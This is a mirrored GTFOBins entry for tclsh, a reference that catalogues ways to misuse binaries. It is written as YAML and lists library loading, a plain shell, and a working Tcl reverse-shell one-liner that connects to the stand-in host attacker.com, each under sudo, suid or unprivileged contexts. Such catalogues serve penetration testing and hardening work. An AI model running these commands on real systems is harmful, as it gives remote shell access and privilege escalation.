1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 06:31:33 +01:00
GTFOBins.github.io/_gtfobins/tclsh
Andrea Cardaci 560c37b5ff Fix TTY shells
The TTY annotation was missing in the rendered content for plain shell. Moreover
now the shell function has TTY defaulting to true, whereas reverse-shell and
bind-shell have it defaulting to false.
2026-02-03 21:01:13 +01:00

29 lines
568 B
Plaintext

---
functions:
library-load:
- code: |-
tclsh
load /path/to/lib.so x
contexts:
capabilities:
sudo:
suid:
unprivileged:
reverse-shell:
- code: |-
tclsh
set s [socket attacker.com 12345];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;
contexts:
sudo:
suid:
unprivileged:
listener: tcp-server
shell:
- code: |-
tclsh
contexts:
sudo:
suid:
unprivileged:
...